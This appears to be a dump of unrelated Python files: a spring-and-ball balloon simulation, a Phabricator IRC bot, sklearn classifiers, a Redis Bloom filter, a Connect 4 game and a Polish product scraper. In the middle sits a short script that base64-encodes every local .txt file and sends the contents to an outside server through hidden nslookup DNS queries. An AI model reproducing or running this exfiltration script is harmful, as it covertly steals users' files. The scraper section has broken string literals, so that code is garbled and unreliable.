        super().__init__()
        self._num_balls = num_balls
        self._ball_mass = ball_mass
        self._spring_const = spring_const
        self._spring_length = spring_length
        self._left_boundary = left_boundary
        self._right_boundary = right_boundary
        self._create()

    def _create(self):
        y = 0
        x = 0
        prev_ball = None
        prev_spring = None
        if self._left_boundary == self.BOUNDARY_RIGID:
            spring = Spring(np.array([x - self._spring_length, y]), np.array(x, y), k=self._spring_const)
            self._springs.append(spring)
            prev_spring = spring

        for idx in range(self._num_balls):
            new_x = x + idx*self._spring_length
            ball = Ball(x=new_x, y=y, mass=self._ball_mass)
            self._balls.append(ball)

            last_element = (idx < self._num_balls)
            spring = None
            if not last_element or self._right_boundary == self.BOUNDARY_RIGID:
                spring = Spring(np.array([new_x, y]), np.array([new_x + self._spring_length, y]), k=self._spring_const)
                self._springs.append(spring)

            valid_neigh = not (prev_spring is None and prev_ball is None)
            if valid_neigh:
                neigh = self.Neighbor(ball=prev_ball, spring=prev_spring)
                self._neighbors[ball] = neigh
            prev_ball, prev_spring = ball, spring

        if self._right_boundary == self.BOUNDARY_RIGID:
            neigh = self.Neighbor(ball=None, spring=prev_spring)
            self._neighbors[ball] = neigh

class Simulator(object):
    def __init__(self, system: BallsAndSpringsSystem):
        self._sys = system

    def run(self):
        pass

class Ball2(object):
    X = 0
    Y = 1

    def __init__(self, x=0, y=0, neigh1=None, neigh2=None):
        self.xy = np.array([x,y])
        self.neigh1 = neigh1
        self.neigh2 = neigh2
        self.color = None
        self.mass = 1

    def __str__(self):
        return '(' + str(self.xy[self.X]) + ', ' + str(self.xy[self.Y]) + ', ' + \
               str(type(self.neigh1)) + ', ' + str(type(self.neigh2)) + ')'

    def set_xy(self, xy):
        self.xy = xy

    def get_xy(self):
        return self.xy

    def set_neigh1(self, b1):
        self.neigh1 = b1

    def set_neigh2(self, b2):
        self.neigh2 = b2

    def calc_norm_and_dir(self, v):
        #print("DBG: v = " + str(v))
        x = v[self.X]
        y = v[self.Y]
        r = np.sqrt(x*x + y*y)
        #print("DBG: r = " + str(r))
        u = v/r
        #print("DBG: u = " + str(u))
        return r, u

    def get_neigh_vector(self, neigh):
        cv = self.xy - neigh._pos
        #print("DBG: cv = " + str(cv))
        c, cu = self.calc_norm_and_dir(cv)
        return c, cu

    def calc_del_area(self, c1, c2):
        return (c1+c2)/2

    def calc_tension(self, c, cu, k, c0):
        del_c = c - c0
        del_cv = del_c * cu
        #spring force
        F = -del_cv*k
        return F

    def calc_pressure_force(self, del_area, pressure, center):
        rv = self.xy - center
        r, ru = self.calc_norm_and_dir(rv)
        #del_area = 1
        F = del_area * pressure * ru
        return F

    def calc_next_position(self, sys):
        if self.neigh1 is not None:
            c1, cu1 = self.get_neigh_vector(self.neigh1)
            #print("DBG: cu1 = " + str(cu1))
            T1 = self.calc_tension(c1, cu1, sys.k, sys.x0)
        else:
            T1 = np.array([0, 0])
        if self.neigh2 is not None:
            c2, cu2 = self.get_neigh_vector(self.neigh2)
            T2 = self.calc_tension(c2, cu2, sys.k, sys.x0)
        else:
            T2 = np.array([0, 0])

        #del_area = self.calc_del_area(c1, c2)
        del_area = 1
        Fp = self.calc_pressure_force(del_area, sys.delP, sys.center)

        #print("DBG T1 = " + str(T1) + " T2 = " + str(T2) + " FP = " + str(Fp))

        Fnet = T1 + T2 + Fp
        a = Fnet/sys.m
        #print(a)
        delxy = 1/2 * a * sys.dt * sys.dt
        xy = self.xy + delxy

        return xy

class Balloon(object):
    def __init__(self, radius=1, num_balls=25, center=np.array([0, 0])):
        self._balls = []
        self._sticks = []
        self._radius = radius
        self._num_balls = num_balls
        self._center = center
        self._create()

    def _create(self):
        xs, ys = create_polygon(radius=self._radius, N=self._num_balls, x0=self._center[0], y0=self._center[1])
        self._balls = []
        self._sticks = []
        for x, y in zip(xs, ys):
            b = Ball2(x, y)
            self._balls.append(b)
            self._num_balls = len(self._balls)
        for idx, b in enumerate(self._balls):
            b.set_neigh1(self._balls[idx - 1])
            b.set_neigh2(self._balls[(idx + 1) % self._num_balls])

    def relax(self, sys, verbosity=1):
        iter_results = []
        for it in range(sys.max_iters):
            new_xys = []
            for idx, b in enumerate(self._balls):
                new_xy = b.calc_next_position(sys)
                # print("new XY: " + str(new_xy))
                new_xys.append(new_xy)

            del_xys = 0
            for idx, ball in enumerate(self._balls):
                # print("OLD: " + str(ball))
                del_xy = ball.get_xy() - new_xys[idx]
                del_xy = np.sqrt(del_xy[0] * del_xy[0] + del_xy[1] * del_xy[1])
                del_xys += del_xy / np.sqrt(sys.num_balls)

                ball.set_xy(new_xys[idx])
                # print("NEW: " + str(ball))
                if verbosity > 1:
                    print('Itr # {:.0f} dx = {:.4G}'.format(it, del_xys))
            new_balloon = cp.deepcopy(self)
            iter_results.append(new_balloon)
            if del_xys < 0.1:
                if verbosity > 0:
                    print('Itr # {:.0f} dx = {:.4G}'.format(it, del_xys))
                    print('Converged')
                break

        return iter_results

    def inflate(self, sys, verbosity=1):
        return self.relax(sys, verbosity)

    def puncture(self, sys, verbosity=1):
        ### balloon[len(balloon)-1].set_neigh2(None)
        ### balloon[0].set_neigh1(None)
        self._balls[0].set_neigh2(None)
        self._balls[1].set_neigh1(None)
        return self.relax(sys, verbosity)

    def draw(self):
        pass

class BalloonViewer(object):
    def __init__(self, balloon):
        pass

# Todo
# --------
# - Reduce pressure with time
# - Going back to initial shape after busting
# - Volume to pressure conversion
#
# - Plotting improvements
# - Animation

def plot_balls_and_sticks(xs, ys, radius,
                          stick_color=None, ball_color=None, ball_alpha=0.9,
                          xlim=[-50,50], ylim=[-50,50],
                          draw_axes='off', ax=None):
    #print(xs)
    #print(ys)
    radii = radius*np.ones(xs.size)

    if ax is None:
        fig, ax = plt.subplots()
        #plt.ion()
        #plt.show()

    patches = []
    dr = 0
    for x1, y1, r in zip(xs, ys, radii):
        circle = Circle((x1, y1), r+dr)
        patches.append(circle)
        dr += r/len(xs)

    #colors = 100 * np.random.rand(len(patches))
    p = PatchCollection(patches, alpha=ball_alpha)
    #p.set_array(colors)
    ax.plot(xs, ys, '-')
    ax.add_collection(p)
    ax.set_aspect('equal')
    #fig.colorbar(p, ax=ax)
    plt.axis(draw_axes)
    #plt.xlim(xlim)
    #plt.ylim(ylim)
    plt.grid()

    #plt.draw()
    #plt.show()

    return ax

def plot_balls(balls, radius, stick_color=None, ball_color=None, ball_alpha=0.9, ax=None, draw_axes='off'):
    xs = []
    ys = []
    for ball in balls:
        xs.append(ball._pos[ball.X])
        ys.append(ball._pos[ball.Y])
    #xs.append(balls[0].xy[ball.X])
    #ys.append(balls[0].xy[ball.Y])
    #print(xs)
    #print(ys)
    return plot_balls_and_sticks(np.array(xs), np.array(ys), radius, stick_color, ball_color, ball_alpha, ax=ax, draw_axes=draw_axes)

def create_polygon(radius, N=25, x0=0, y0=0):
    two_pi = 2*np.pi
    th = np.linspace(0, two_pi*(N-1)/N, N)
    x = x0 + radius*np.sin(th)
    y = y0 + radius*np.cos(th)
    return x, y

##small_radius=0.5
##x, y = get_circle_balloon(radius=5)
##plot_balls_and_sticks(x, y, small_radius)
##x, y = get_circle_balloon(radius=10)
##plot_balls_and_sticks(x, y, small_radius)
##
##balloon = create_balloon(sys)
##ax = plot_balls(balloon, 0.5)
### plt.show()
### plt.tight_layout()
##
##balloon = relax_balloon(sys, balloon)
##plot_balls(balloon, 0.5, draw_axes='on')
##
### balloon[len(balloon)-1].set_neigh2(None)
### balloon[0].set_neigh1(None)
##balloon[0].set_neigh2(None)
##balloon[1].set_neigh1(None)
##
##balloon = relax_balloon(sys, balloon, plot_iterations=False)
##plot_balls(balloon, 0.5, draw_axes='on')
##
##for idx, b in enumerate(balloon):
##    print("id = " + str(idx) + ": " + str(b))


"""This module contains commands related to Phabricator."""

import json  # FIX THIS
import requests  # FIX THIS
from sopel.module import commands, example, interval, rule
from sopel.config.types import StaticSection, ValidatedAttribute
import sys

class PhabricatorSection(StaticSection):
    host = ValidatedAttribute('host', str)
    api_token = ValidatedAttribute('api_token', str)
    querykey = ValidatedAttribute('querykey', str)
    highpri_notify = ValidatedAttribute('highpri_notify', bool)
    highpri_channel = ValidatedAttribute('highpri_channel', str)

def setup(bot):
    bot.config.define_section('phabricator', PhabricatorSection)

def configure(config):
    config.define_section('phabricator', PhabricatorSection, validate=False)
    config.phabricator.configure_setting('host', 'What is the URL of your Phabricator installation?')
    config.phabricator.configure_setting('api_token', 'Please enter a Phabricator API token.')
    config.phabricator.configure_setting('querykey', 'Please enter a Phabricator query key.')
    config.phabricator.configure_setting('highpri_notify', 'Would you like to enable automatic notification of high priority tasks? (true/false)')
    config.phabricator.configure_setting('highpri_channel',
                                         'If you enabled high priority notifications, what channel would you like them sent to? (notifications will be sent once every week.')

BOLD = '\x02'
HIGHPRIO_NOTIF_TASKS_PER_PAGE = 5
HIGHPRIO_TASKS_NOTIFICATION_INTERVAL = 7 * 24 * 60 * 60  # every week
MESSAGES_INTERVAL = 2  # seconds (to avoid excess flood)
startup_tasks_notifications = False
priotasks_notify = []

def searchphab(bot, channel, task=1):
    data = {
        'api.token': bot.settings.phabricator.api_token,
        'constraints[ids][0]': task
    }
    response = requests.post(
        url='https://{0}/api/maniphest.search'.format(bot.settings.phabricator.host),
        data=data)
    response = response.json()
    go = 0
    try:
        result = response.get("result").get("data")[0]
        go = 1
    except AttributeError:
        bot.say("An error occurred while parsing the result.", channel)
    except IndexError:
        bot.say("Sorry, but I couldn't find information for the task you searched.", channel)
    except:
        bot.say("An unknown error occured.", channel)
    if go == 1:
        params = {
            'api.token': bot.settings.phabricator.api_token,
            'constraints[phids][0]': result.get("fields").get("ownerPHID")
        }
        response2 = requests.post(
            url='https://{0}/api/user.search'.format(bot.settings.phabricator.host),
            data=params)
        try:
            response2 = response2.json()
        except json.decoder.JSONDecodeError as e:
            bot.say(response2.text, '#ZppixBot-Logs')
            bot.say(str(e), '#ZppixBot-Logs')
        params2 = {
            'api.token': bot.settings.phabricator.api_token,
            'constraints[phids][0]': result.get("fields").get("authorPHID")
        }
        response3 = requests.post(
            url='https://{0}/api/user.search'.format(bot.settings.phabricator.host),
            data=params2)
        response3 = response3.json()
        if result.get("fields").get("ownerPHID") is None:
            owner = None
        else:
            owner = response2.get("result").get("data")[0].get("fields").get("username")
        author = response3.get("result").get("data")[0].get("fields").get("username")
        priority = result.get("fields").get("priority").get("name")
        status = result.get("fields").get("status").get("name")
        output = 'https://phabricator.miraheze.org/T{0} - '.format(str(result["id"]))
        output = '{0}{2}{1}{2}, '.format(output, str(result.get('fields').get('name')), BOLD)
        output = output + 'authored by {1}{0}{1}, '.format(author, BOLD)
        output = output + 'assigned to {1}{0}{1}, '.format(owner, BOLD)
        output = output + 'Priority: {1}{0}{1}, '.format(priority, BOLD)
        output = output + 'Status: {1}{0}{1}'.format(status, BOLD)
        bot.say(output, channel)

def gethighpri(limit=True, channel='#miraheze', bot=None):
    data = {
        'api.token': bot.settings.phabricator.api_token,
        'queryKey': bot.settings.phabricator.querykey,  # mFzMevK.KRMZ for mhphab
    }
    response = requests.post(
        url='https://{0}/api/maniphest.search'.format(bot.settings.phabricator.host),
        data=data)
    response = response.json()
    result = response.get("result")
    try:
        data = result.get("data")
        go = 1
    except:
        bot.say("They are no high priority tasks that I can process, good job!", channel)
        go = 0
    if go == 1:
        x = 0
        while x < len(data):
            currdata = data[x]
            if x > 5 and limit:
                bot.say("They are more than 5 tasks. Please see {0} for the rest or use .highpri".format(
                    bot.settings.phabricator.host), channel)
                break
            else:
                searchphab(bot=bot, channel=channel, task=currdata.get("id"))
                x = x + 1

@commands('task')
@example('.task 1')
def phabtask(bot, trigger):
    if trigger.group(2).startswith('T'):
        task_id = trigger.group(2).split('T')[1]
    else:
        task_id = trigger.group(2)
    searchphab(bot=bot, channel=trigger.sender, task=task_id)

@rule('T[1-9][0-9]*')
def phabtask2(bot, trigger):
    """Get a Miraheze phabricator link to a the task number you provide."""
    task_id = trigger.split('T')[1]
    searchphab(bot=bot, channel=trigger.sender, task=task_id)

@interval(HIGHPRIO_TASKS_NOTIFICATION_INTERVAL)
def high_priority_tasks_notification(bot):
    if bot.settings.phabricator.highpri_notify is True:
        """Send high priority tasks notifications."""
        gethighpri(channel=bot.settings.phabricator.highpri_channel, bot=bot)

@commands('highpri')
@example('.highpri')
def forcehighpri(bot, trigger):
    gethighpri(limit=False, channel=trigger.sender, bot=bot)


# 1. libraries
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
from sklearn.impute import SimpleImputer
from sklearn.preprocessing import LabelEncoder, OneHotEncoder, StandardScaler
from sklearn.model_selection import train_test_split
from sklearn.metrics import confusion_matrix
from sklearn.neighbors import KNeighborsClassifier
from sklearn.svm import SVC
from sklearn.naive_bayes import GaussianNB

df = pd.read_csv("../data/bilkav/sec1_preprocessing/veriler.csv")

x = df.iloc[:, 1:4]
y = df.iloc[:, 4:]

x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.33, random_state=0)

# 4. attribute scaling
sc = StandardScaler()
X_train = sc.fit_transform(x_train)
X_test = sc.transform(x_test)

from sklearn.linear_model import LogisticRegression

log_reg = LogisticRegression(random_state=0)
log_reg.fit(X_train, y_train)

y_pred = log_reg.predict(X_test)

cm = confusion_matrix(y_pred, y_test)
print(cm)

print("------knn------")
knn = KNeighborsClassifier(n_neighbors=5, metric='minkowski')
knn.fit(X_train, y_train)

y_pred = knn.predict(X_test)
cm = confusion_matrix(y_pred, y_test)
print(cm)

print("------svc------")
svc = SVC(kernel='linear')
svc.fit(X_train, y_train)

y_pred = svc.predict(X_test)
cm = confusion_matrix(y_pred, y_test)
print(cm)

print("------svc_rbf------")
svc = SVC(kernel='rbf')
svc.fit(X_train, y_train)

y_pred = svc.predict(X_test)
cm = confusion_matrix(y_pred, y_test)
print(cm)

print("------svc_poly------")
svc = SVC(kernel='poly')
svc.fit(X_train, y_train)

y_pred = svc.predict(X_test)
cm = confusion_matrix(y_pred, y_test)
print(cm)

print("------gaussian navie bayes------")
gnb = GaussianNB()
gnb.fit(X_train, y_train)

y_pred = gnb.predict(X_test)
cm = confusion_matrix(y_pred, y_test)
print(cm)


import hashlib

import six
import redis

class MultipleHash(object):

    def __init__(self, salts, hash_func_name="md5"):
        self.hash_func = getattr(hashlib, hash_func_name)
        if len(salts) < 3:
            raise Exception("salts长度必须大于3！")
        self.salts = salts

    def get_hash_values(self, data):
        hash_values = []
        for salt in self.salts:
            hash_obj = self.hash_func()
            hash_obj.update(self._safe_data(data))
            hash_obj.update(self._safe_data(salt))
            hash_values.append(int(hash_obj.hexdigest(), 16))
        return hash_values

    @staticmethod
    def _safe_data(data):
        """
        将data预处理为可以进行hash处理的类型
        :param data:
        :return:
        """
        if six.PY3:
            if isinstance(data, str):
                return data.encode()
            elif isinstance(data, bytes):
                return data
            else:
                raise Exception("请提供一个字符串或者二进制")
        else:
            if isinstance(data, str):
                return data
            elif isinstance(data, unicode):
                return data.encode()
            else:
                raise Exception("请提供一个字符串或者unicode")

class BloomFilter(object):

    def __init__(self, *args, **kwargs):
        self.redis_host = kwargs.get("redis_host") or "localhost"
        self.redis_port = kwargs.get("redis_port") or 6379
        self.redis_db = kwargs.get("redis_db") or 0
        self.redis_key = kwargs.get("redis_key") or "bloomfilter"
        self.client = self._get_redis_client()
        self.multiple_hash = MultipleHash(kwargs.get("salts"), kwargs.get("hash_func_name") or "md5")
        if not self.multiple_hash:
            raise Exception("必须提供hash对象")

    def save(self, data):
        offsets = []
        for hash_value in self.multiple_hash.get_hash_values(data):
            offset = self._get_offset(hash_value)
            offsets.append(offset)
            self.client.setbit(self.redis_key, offset, 1)
        return offsets

    def is_exists(self, data):
        ret_list = []
        for hash_value in self.multiple_hash.get_hash_values(data):
            offset = self._get_offset(hash_value)
            ret_list.append(self.client.getbit(self.redis_key, offset))
        return all(ret_list)

    @staticmethod
    def _get_offset(hash_value):
        return hash_value % (128 * 1024 * 1024 * 8)

    def _get_redis_client(self):
        return redis.StrictRedis(
            connection_pool=redis.ConnectionPool(host=self.redis_host, port=self.redis_port, db=self.redis_db))

if __name__ == '__main__':
    b = BloomFilter(redis_host="172.17.0.4", hash_func_name="md5", salts=["a", "b", "c", "d"])
    b.save("我是你爸爸")
    print(b.is_exists("我是你爸爸"))


##script windows
import os, base64, subprocess

## On recupere la liste des fichiers a l'endroit ou le script est place sur le systeme de fichiers
file_list = os.listdir("./")
## Pour chaque fichier du dossier
for file in file_list:
		## Si le fichier est un .txt
		if file.endswith(".txt"):
			ct =''
			## On ouvre alors son contenu et on le stocke dans la variable ct
			FILE = open(file, "r")
			ct = FILE.read()
			## On code le contenu en base 64 et on rajoute .hack.com qui nous permettra de retrouver plus facilement nos requètes plus tard
			b64ct = base64.b64encode(ct) + ".hack.com"
			## On appelle la commande nslookup avec le contenu du fichier et on requete notre serveur en cachant la cmd
			subprocess.call(["nslookup", str(b64ct), "devdown.fr"], creationflags=0x08000000)
			## On ferme alors notre fichier
			FILE.close()


from zope.interface import Interface, implements
from zope import schema
from plone.app.users.userdataschema import IUserDataSchemaProvider
from plone.app.users.userdataschema import IUserDataSchema

from pressapp.memberprofiles import MessageFactory as _

class UserDataSchemaProvider(object):
    implements(IUserDataSchemaProvider)

    def getSchema(self):
        """ Subclass member schema """
        return IEnhancedUserDataSchema

class IEnhancedUserDataSchema(IUserDataSchema):
    """ Use the default user data schema fields and add
        custom extra fields.
    """

    organization = schema.TextLine(
        title=_(u'label_organization', default=_(u'Organization')),
        description=_(u'help_organization',
            default=_(u'Enter the official name of the organization. This will be automatically inserted into press releases')),
        required=True,
    )
    presslink = schema.URI(
        title=_(u'label_presslink', default=_(u'Press Link')),
        description=_(u'help_presslink', default=_(u'Please enter specific press link.')),
        required=True,
    )


import numpy as np
import tensorflow as tf
import os

from sklearn.metrics import mean_squared_error as mse
from sklearn.metrics import mean_absolute_error as mae
from sklearn.metrics import mean_absolute_percentage_error as mape
from sklearn.metrics import top_k_accuracy_score as top_accuracy

def compute_error(y_true, y_pred):
    top_y_true, top_y_pred = y_true[np.nonzero(y_true > 1)], y_pred[np.nonzero(y_true > 1)]
    unique_idx = tuple(np.unique((np.nonzero(y_true > 0)[0], np.nonzero(y_true > 0)[1]), axis=1))

    n_districts = y_true.shape[-1]

    mse_score = mse(np.ravel(y_true), np.ravel(y_pred))
    mae_score = mae(np.ravel(y_true), np.ravel(y_pred))
    mape_score = mape(top_y_true, top_y_pred)
    topk_acc = top_accuracy(np.argmax(y_true[unique_idx]/n_districts, axis=1), y_pred[unique_idx]/n_districts, k=round(n_districts*0.20), labels=[l for l in range(n_districts)])
    return { 'MAE': mae_score, 'MSE': mse_score, 'MAPE': mape_score, 'ACC': topk_acc }

def stepwise_error(y_true, y_pred, n_steps):
    mae_scores, mse_scores, mape_scores, topk_accs = [], [], [], np.zeros(y_true.shape[:-1], dtype=int)

    n_districts = y_true.shape[-1]

    for t in range(n_steps):
        y_true_t, y_pred_t = y_true[:,t,:], y_pred[:,t,:]
        top_y_true, top_y_pred = y_true_t[np.nonzero(y_true_t > 1)], y_pred_t[np.nonzero(y_true_t > 1)]

        mse_scores.append(mse(np.ravel(y_true_t), np.ravel(y_pred_t)))
        mae_scores.append(mae(np.ravel(y_true_t), np.ravel(y_pred_t)))
        mape_scores.append(mape(top_y_true, top_y_pred))

    for i in range(y_true.shape[0]):
        for t in range(n_steps):
            m_true, m_pred = max(y_true[i,t,:]), max(y_pred[i,t,:])
            t_true = [di for di, val in enumerate(y_true[i,t,:]) if val == m_true and m_true > 0] # list (if there are more than one regions) of ground truth

            with tf.device('/cpu:0'):
                if m_pred == 0:
                    t_pred = [di for di, val in enumerate(y_pred[i,t,:]) if val == m_pred and m_pred > 0] # list of predicted scores
                else:
                    t_pred = tf.math.top_k(y_pred[i,t,:], k=round(n_districts * 0.20)).indices.numpy()

            C1 = len(t_true) == 0 and len(t_pred) == 0 # correctedly predict that there is no risk region at time t
            C2 = sum(tp in t_true for tp in t_pred) > 0 # correctedly select the high risk region at time t "at least one"

            if C1 or C2:
                topk_accs[i, t] += 1

    return { 'MAE': mae_scores, 'MSE': mse_scores, 'MAPE': mape_scores, 'ACC': list(np.average(topk_accs, axis=0)), 'TOP_ACC': topk_accs }


#!/usr/local/bin/python3
from termcolor import colored, cprint
"""
Connect 4
|x|x|x|x|x|x|x|
---------------
|x|x|x|x|x|x|x|
---------------
|x|x|x|x|x|x|x|
---------------
|x|x|x|x|x|x|x|
---------------
|x|x|x|x|x|x|x|
---------------
|x|x|x|x|x|x|x|
---------------

"""
ROWS = 12
COLUMNS = 15

game = [[" ", " ", " ", " ", " ", " "],
        [" ", " ", " ", " ", " ", " "],
        [" ", " ", " ", " ", " ", " "],
        [" ", " ", " ", " ", " ", " "],
        [" ", " ", " ", " ", " ", " "],
        [" ", " ", " ", " ", " ", " "],
        [" ", " ", " ", " ", " ", " "]]

print_x = lambda x : cprint(x, 'red', 'on_white', attrs=['bold'], end="")
print_o = lambda x : cprint(x, 'blue', 'on_white', attrs=['bold'], end="")
ellipse = u'\u2B2E'

def print_board(game):
    for row in range(ROWS):
        new_row = int(row/2)
        if row % 2 == 0:
            for col in range(COLUMNS):
                new_col = int(col/2)
                if col % 2 == 0:
                    if col != COLUMNS-1:
                        cprint("|", 'green', 'on_cyan', end="")
                    else:
                        cprint("|", 'green', 'on_cyan')
                else:
                    if game[new_col][new_row] == 'X':
                        print_x(ellipse)
                    elif game[new_col][new_row] == 'O':
                        print_o(ellipse)
                    else:
                        print_o(game[new_col][new_row])
        else:
            cprint("-" * COLUMNS, 'green', 'on_cyan')
    return True

def check_winner(column, game):
    depth = 3
    num_check = 4
    row_elem = 5
    for check in range(depth):
        check_ver_list = game[column][check:check + num_check]
        win_ver_x = [i == "X" for i in check_ver_list]
        win_ver_o = [i == "O" for i in check_ver_list]
        if all(win_ver_x) or all(win_ver_o):
            return True

    for check in range(num_check):
        hor_list = game[check:check + num_check]
        for row_hor in range(row_elem, -1, -1):
            check_hor_list = [hor_list[i][row_hor] for i in range(num_check)]
            win_hor_x = [i == "X" for i in check_hor_list]
            win_hor_o = [i == "O" for i in check_hor_list]
            if all(win_hor_x) or all(win_hor_o):
                return True

    col = [i for i in range(len(game))]
    row_right = [i for i in range(row_elem, -1, -1)]
    row_left = [i for i in range(len(game[column]))]
    dia_right = []
    dia_left = []

    for i in range(num_check):
        for j in range(depth):
            for k in range(num_check):
                dia_right += [game[col[k+i]][row_right[k+j]]]
                dia_left += [game[col[k+i]][row_left[k+j]]]
            win_dia_right_x = [i == "X" for i in dia_right]
            win_dia_right_o = [i == "O" for i in dia_right]
            win_dia_left_x = [i == "X" for i in dia_left]
            win_dia_left_o = [i == "O" for i in dia_left]
            if all(win_dia_right_x) or all(win_dia_right_o):
                return True
            if all(win_dia_left_x) or all(win_dia_left_o):
                return True
            dia_right = []
            dia_left = []

def main():
    player = 1
    winner = False
    player_x = colored('Where do you want to put your piece?: ', 'red', attrs=['bold', 'reverse'])
    player_o = colored('Where do you want to put your piece?: ', 'blue', attrs=['bold', 'reverse'])
    while not winner:
        if player == 1:
            try:
                column = int(input(player_x)) - 1
                if column < 0 or column >= len(game):
                    print("Wrong column, try again")
                else:
                    for row in range(len(game[column]), 0, -1):
                        row_limit = row - 1
                        if game[column][row_limit] == " ":
                            game[column][row_limit] = "X"
                            if check_winner(column, game):
                                print("Winner")
                                winner = True
                            print_board(game)
                            player = 2
                            break
            except ValueError:
                print("Wrong value, try again")

        else:
            try:
                column = int(input(player_o)) - 1
                if column < 0 or column >= len(game):
                    print("Wrong column, try again")
                else:
                    for row in range(len(game[column]), 0, -1):
                        row_limit = row - 1
                        if game[column][row_limit] == " ":
                            game[column][row_limit] = "O"
                            if check_winner(column, game):
                                print("Winner")
                                winner = True
                            print_board(game)
                            player = 1
                            break
            except ValueError:
                print("Wrong value, try again")

main()


import urllib.parse

import requests
from PIL import Image
from scrapy import Selector
from globals import file_path

def beko(raport_lab, product, model):
    html = requests.get(product[6]).content
    sel = Selector(text=html)

    """"""""""""""""" ZDJĘCIA PRODUKTU """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
    imgs = sel.xpath('//div[@id="product-main-image"]//a/@href').extract()

    for i in range(len(imgs)):
        res = requests.get(f'https://www.beko.pl{imgs[i]}')
        with open(f'{file_path}/{model}/obrazki_produktu/{i}.jpg', 'wb') as file_format:
            file_format.write(res.content)
        im = Image.open(f'{file_path}/{model}/obrazki_produktu/{i}.jpg')
        file_format = im.format
        width, height = im.size
        if width > height:
            ratio = width / 600
        else:
            ratio = height / 600
        new_width = round(width / ratio)
        new_height = round(height / ratio)
        im = im.resize((new_width, new_height))
        if file_format == 'PNG':
            im.save(f'{file_path}/{model}/obrazki_produktu/{i}.jpg', 'PNG')
        elif file_format == 'JPEG':
            im.save(f'{file_path}/{model}/obrazki_produktu/{i}.jpg', 'JPEG')
        else:
            print(f"Nie umiem zrobić zdjęcia nr {i} :'( (typ {file_format})")

    """"""""""""""""" OPIS TECHNICZNY """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
    beko_tech = sel.css('table.table.table-beko ::text').extract()

    # czyszczenie treści opisu technicznego z pustych znaków
    for i in range(len(beko_tech)):
        beko_tech[i] = beko_tech[i].replace('\n', '')
        beko_tech[i] = beko_tech[i].replace('\t', '')
        beko_tech[i] = beko_tech[i].replace('\xa0', '')
        beko_tech[i] = beko_tech[i].replace('\r', '')
        beko_tech[i] = beko_tech[i].replace('  ', '')
        # czyszczenie ekementów, które są samymi spacjami
        if beko_tech[i].isspace():
            beko_tech[i] = beko_tech[i].replace(' ', '')

    # usuwanie psutych elementów
    beko_tech = list(filter(''.__ne__, beko_tech))

    # rozróżnienie wierszy, które są nazwami kategorii (specs_category)
    i = 0
    while i in range(len(beko_tech)):
        if i >= len(beko_tech) - 1:
            break
        if ":" not in beko_tech[i] and ":" not in beko_tech[i + 1]:
            beko_tech.insert(i + 2, '')
            i = i + 2
        i = i + 1
        if i >= len(beko_tech) - 1:
            break

    # usuwanie dwukropków
    for i in range(len(beko_tech)):
        beko_tech[i] = beko_tech[i].replace(':', '')

    # tworzenie gotowych pozycji kodu do wklejenia na stronę MatrixMedia
    i = 0
    opis_techniczny = []
    opis_krotki = []
    while i in range(len(beko_tech)):
        if i >= len(beko_tech) - 1:
            break
        # wykorzystanie rozróżnienia nazwy kategorii do nadania odpowienich znaczników
        if beko_tech[i + 1] == '':
            opis_techniczny.append(
                '
' + beko_tech[i] + '
')
        # dodawanie znaczników do zwykłych linijek nazwa-wartość
        else:
            opis_techniczny.append(
                '
' + beko_tech[i] + '	' + beko_tech[i + 1] + '
')
            if i in range(23, 43):
                opis_krotki.append(f'
{beko_tech[i]}: {beko_tech[i + 1]}
')
        i = i + 2
    opis_k = '
' + ''.join(opis_krotki) + '
'

    # dodanie znaczników początkowych i końcowych zgodnych z kodem strony MatrixMedia
    start = '

'
    end = '

'
    opis_techniczny = [start] + opis_techniczny + [end]

    opis_t = ''.join(opis_techniczny)

    print("==================== Opis Techniczny ====================")
    print(opis_t + '\n\n')

    """"""""""""""""" OPIS GRAFICZNY """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
    beko_graph = sel.css('div.row.hero div.col-xs-12 ::text').extract()

    # czyszenie treści opisu graficznego z pustych znaków
    for i in range(len(beko_graph)):
        beko_graph[i] = beko_graph[i].replace('\n', '')
        beko_graph[i] = beko_graph[i].replace('\t', '')
        beko_graph[i] = beko_graph[i].replace('\xa0', '')
        beko_graph[i] = beko_graph[i].replace('  ', '')
        if beko_graph[i].isspace():
            beko_graph[i] = beko_graph[i].replace(' ', '')

    # usuwanie psutych elemenetów
    beko_graph = list(filter(''.__ne__, beko_graph))

    # zdarza się, że jeden z kafelków opisu ma tylko nagłówek. Żeby go też obsłużyć dodałem poniższy warunek
    if len(beko_graph) % 2 != 0:
        for i, ele in enumerate(beko_graph):
            print(f'{i}. {ele}')
        # z jakiegoś powodu po uruchomieniu w konsoli programu następna wczytywana wartość wyrzuca błąd jakby została
        # uzupełniona ciągiem znaków, więc x przyjmuje tę wartość, a dopiero y służy do obsłużenia tej sytuacji
        try:
            x = int(input('\nNajwidoczniej któryś z nagłówków nie ma opisu. Wskaż jego numer, aby program mógł '
                          'kontynuować: '))
        except ValueError:
            x = int(input())
        beko_graph.insert(x + 1, ' ')

    # tworzenie gotowego kodu odpowiedniego dla strony MatrixMedia
    i = 0
    j = 0
    while i in range(len(beko_graph)):
        # dodawanie treści nagłowka
        if i % 2 == 0:
            beko_graph[
                i] = '

' + \
                     beko_graph[i] + '
'
        else:
            beko_graph[i] = '

' + \
                            beko_graph[i] + '
'
        # dodawanie treści paragrafu
        beko_graph[i + 1] = '
' + beko_graph[i + 1] + '

'
        # dodawanie ścieżki do zdjęcia
        beko_graph.insert(i + 2,
                          f'
')
        i = i + 3
        j = j + 1

    # uzupełnienie kodu o znaczniki początkowe i końcowe
    graph_desc_beg = '
'
    graph_desc_end = '
'
    beko_graph = [graph_desc_beg] + beko_graph + [graph_desc_end]

    # wyświetlenie wyniku
    print("==================== Opis Graficzny ====================")
    opis_g = '\n'.join(beko_graph)
    print(opis_g + '\n\n')

    """"""""""""""""" ZDJĘCIA DO OPISU GRAFICZNEGO """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
    imgs = sel.xpath('//div[@class="tab-content"]//img[@class="img-responsive"]//@src').extract()

    # połączenie domyślnie nieobecnego początku kodu oraz przeformatowanie zebranego tekstu na UTF-8
    for i in range(len(imgs)):
        imgs[i] = 'http://beko.pl' + imgs[i]
        imgs[i] = imgs[i].replace('\n', '')
        imgs[i] = imgs[i].replace('\r', '')

